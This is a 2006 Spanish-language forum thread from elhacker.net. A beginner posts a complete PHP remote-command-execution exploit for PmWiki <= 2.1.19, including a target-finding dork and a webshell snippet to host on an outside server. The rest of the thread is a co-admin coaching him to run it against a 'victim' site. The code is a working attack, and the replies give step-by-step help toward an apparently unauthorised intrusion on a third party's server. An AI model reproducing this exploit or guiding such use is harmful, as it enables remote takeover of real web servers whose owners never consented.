elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 06:18  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  En q codigo esta?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: En q codigo esta?  (Leído 2,447 veces)
The_Dark_Wolf

Desconectado Desconectado

Mensajes: 199


Las ideas son la puerta para obtener la sabiduria


Ver Perfil
En q codigo esta?
« en: 26 Septiembre 2006, 05:26 »

Disculpen me han pasado un exploit para una vulnerabilidad q tengo... aunq no se exactamente que hace ni como se usa lo principal q queria saber es ¿En que codigo esta el exploit? ¿Sirve para obtener una shell de la maquina "victima"? ¿Tengo q cambiarle algunos parametros a la programacion?

Citar
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
PmWiki <= 2.1.19 Zend_Hash_Del_Key_Or_Index/remote commands execution exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: inurl:pmwiki.php +"Page last modified on" | PmWikiPhilosophy
--------------------------------------------------------------------------------
');
/*
works with register_globals=On
against PHP < 4.4.3, 5 <= PHP < 5.1.4
*/
if ($argc<5) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path http_loc cmd OPTIONS
host:      target server (ip/hostname)
path:      path to pmwiki
http_loc:  an http site with the code to include (without ending slash)
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /pmwiki/ http://somehost.com ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /pmwiki/ http://somehost.com ls -la -p81

Note:
prepare this code in http://somehost.com/scripts/stdconfig.php/index.html :
<?php
error_reporting(0);set_time_limit(0);echo "my_delim";
passthru($_SERVER["HTTP_CLIENT_IP"]);die;
?>
--------------------------------------------------------------------------------
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$http_loc=$argv[3];
$cmd="";
$port=80;
$proxy="";

for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data ="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"FarmD\";\r\n\r\n";
$data.="$http_loc\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"-1778478215\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d529a1d23092a\r\n";
$data.="Content-Disposition: form-data; name=\"-1304181425\";\r\n\r\n";
$data.="1\r\n";
$data.="-----------------------------7d529a1d23092a--\r\n";
$packet ="POST ".$p."pmwiki.php?n=PmWiki.BasicEditing?action=edit HTTP/1.0\r\n";
$packet.="CLIENT-IP: ".$cmd."\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"my_delim")){
echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]);
}
elseif (strstr($html,"failed to open stream"))
{echo "*** adjust path... ***\n";die($html);}
else
{echo "exploit failed...";}
?>


De antemano muchas gracias, me estoy iniciando en el mundo de los exploits y quiero saber todo sobre ellos... y creanme he leido mucho

Salu2

Wolf...
« Última modificación: 26 Septiembre 2006, 05:28 por The_Dark_Wolf » En línea
The_Dark_Wolf

Desconectado Desconectado

Mensajes: 199


Las ideas son la puerta para obtener la sabiduria


Ver Perfil
Re: En q codigo esta?
« Respuesta #1 en: 26 Septiembre 2006, 05:46 »

Ok amigos estudiando un poco mas el exploit tengo varias preguntas aun mas puntuales

1.¿Esto es un ejemplo y unas intrucciones de como debo usar el exploit?
Citar
Usage: php '.$argv[0].' host path http_loc cmd OPTIONS
host:      target server (ip/hostname)
path:      path to pmwiki
http_loc:  an http site with the code to include (without ending slash)
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /pmwiki/ http://somehost.com ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /pmwiki/ http://somehost.com ls -la -p81

Note:
prepare this code in http://somehost.com/scripts/stdconfig.php/index.html :
<?php
error_reporting(0);set_time_limit(0);echo "my_delim";
passthru($_SERVER["HTTP_CLIENT_IP"]);die;

2. ¿Aqui es donde debo modificar los parametros?
Citar
$host=$argv[1];
$path=$argv[2];
$http_loc=$argv[3];
$cmd="";
$port=80;
$proxy="";

3. ¿Aqui puedo colocar un comando q se ejecutara en el cmd de la maquina "victima"?
Citar
$cmd="";

4. ¿Puedo dejar estos comandos tal y como estan sin modificarlos?
Citar
$path=$argv[2];
$http_loc=$argv[3];
$port=80;
$proxy="";

5. ¿Este exploit no me da una shell de la "victima" en mi maquina?

6. ¿En que codigo se encuentra escrito el codigo?

7. ¿Con q programa lo puedo compilar?

8. ¿Como puedo utilizar este exploit? ¿Seria desde la consola de comandos como la mayoria?

Disculpen tantas preguntas pero queria hacer preguntas concretas para recibir respuestas concretas... hice todas juntas para no estar preguntando mas en un futuro

Salu2

Wolf...
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: En q codigo esta?
« Respuesta #2 en: 26 Septiembre 2006, 06:09 »

no, no, no, no y no

1.- descarga PHP
2.- guarda el archivo en la carpeta donde lo instales, normalmente es /usr/bin/ o c:\php\
3.- escribe en cmd.exe, "php nombreexploit.php"

Saludos!!
En línea

The_Dark_Wolf

Desconectado Desconectado

Mensajes: 199


Las ideas son la puerta para obtener la sabiduria


Ver Perfil
Re: En q codigo esta?
« Respuesta #3 en: 26 Septiembre 2006, 06:17 »

Ok amigo muchas pero muchas gracias ya voy a trabajar en eso (ahora mismo) y luego les cuento... pero como puedo enviar el exploit a la maquina victima, ¿con la tercera opcion?
Citar
3.- escribe en cmd.exe, "php nombreexploit.php"
, pero ¿como sabra a que makina tiene q ir si no he colocado el host ni la ip?, en la info del exploit dice q es remoto, ¿o me equivoco?

Disculpen mil veces las molestias por favor
y de antemano gracias

Salu2

Wolf...
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: En q codigo esta?
« Respuesta #4 en: 26 Septiembre 2006, 06:28 »

cuando hagas eso te va a mostrar como se usa el exploit..

debe de ser..

php exploit.php www.victima.com /atacar/muahaha/wiki http://server/webshell.php ls

por ejemplo..

ya para saber mas lee el codigo..

Saludos!!
En línea

The_Dark_Wolf

Desconectado Desconectado

Mensajes: 199


Las ideas son la puerta para obtener la sabiduria


Ver Perfil
Re: En q codigo esta?
« Respuesta #5 en: 26 Septiembre 2006, 06:35 »

Gracias amigo ya estoy trabajando en eso, lo hago y luego les cuento

Salu2

Wolf...
En línea
The_Dark_Wolf

Desconectado Desconectado

Mensajes: 199


Las ideas son la puerta para obtener la sabiduria


Ver Perfil
Re: En q codigo esta?
« Respuesta #6 en: 26 Septiembre 2006, 19:08 »

Ok amigos ya he "escrito" el exploit en php, tambien he subido mi php shell a un server pero cuando intento lanzarlo me da error  :-\

Me dice esto....

Citar
C:\PHP>php exploit.php www.paginavictima.com /pmwiki/ http://miserver/phpshell.php ls

--------------------------------------------------------------------------------

PmWiki <= 2.1.19 Zend_Hash_Del_Key_Or_Index/remote commands execution exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: inurl:pmwiki.php +"Page last modified on" | PmWikiPhilosophy
--------------------------------------------------------------------------------

exploit failed...
C:\PHP>

Y cuando colo exactamente el codigo q me dio Sdc me dice q es incorrecto (por su puesto eso era un ejemplo me imagino)

Citar
C:\PHP>php exploit.php www.paginavictima.com /atacar/muahaha/wiki http://miserver/phpshell.php ls

--------------------------------------------------------------------------------

PmWiki <= 2.1.19 Zend_Hash_Del_Key_Or_Index/remote commands execution exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: inurl:pmwiki.php +"Page last modified on" | PmWikiPhilosophy
--------------------------------------------------------------------------------

Error... check the path!
C:\PHP>

Ahora mi pregunta es... Q estoy haciendo mal?... estoy seguro q ese server tiene esa vulnerabilidad y q el exploit a usar es este de eso no me queda duda.

Pd. Los datos en cursiva han sido modificados para proteger la identidad de mi server y de mi pagina "victima".

Salu2

Wolf...
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: En q codigo esta?
« Respuesta #7 en: 28 Septiembre 2006, 05:49 »

el primero esta bien.. lo de atacar/muahaha era un ejemplo del path jaja

lo que pasa esque el servidor que tratas de atacar no es vulnerable.

ve, que necesitas register_globals on!

Saludos!!
En línea

The_Dark_Wolf

Desconectado Desconectado

Mensajes: 199


Las ideas son la puerta para obtener la sabiduria


Ver Perfil
Re: En q codigo esta?
« Respuesta #8 en: 28 Septiembre 2006, 07:17 »

Ok amigo muchas gracias ya por lo menos se como usar los exploit y todo esto pero no entendi q me kisiste decir con...

Citar
ve, que necesitas register_globals on!

Y bueno pense q ese server era vulnerable porq le hice un scan con el SSS y me dio esa vulnerabilidad me fui a la pagina directa del SSS (esa q aparece cuando le das al codigo de la vulnerabilidad) y me descargue el exploit q me dijo q era.

Pero o estan equivocados ellos o estoy equivocado yo (creo q la segunda  :-X)

Salu2

Wolf...
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: En q codigo esta?
« Respuesta #9 en: 28 Septiembre 2006, 16:28 »

no, el server en su configuracion debe tener register_globals on, el que tratas de explotar no tiene register_globals on, por lo que no es vulnerable.

Saludos!!
En línea

The_Dark_Wolf

Desconectado Desconectado

Mensajes: 199


Las ideas son la puerta para obtener la sabiduria


Ver Perfil
Re: En q codigo esta?
« Respuesta #10 en: 29 Septiembre 2006, 04:53 »

Oki doky muchas gracias ya cada dia entiendo muuucho mas esto de los exploit, gracias por todo.

Salu2

Wolf...
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Qué está mal en este código?
Desarrollo Web
Aikanáro Anário 5 268 Último mensaje 15 Julio 2011, 02:53
por m0rf
¿Que esta mal? [Correccion de codigo]
PHP
2Fac3R 8 604 Último mensaje 4 Noviembre 2011, 18:18
por 2Fac3R
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines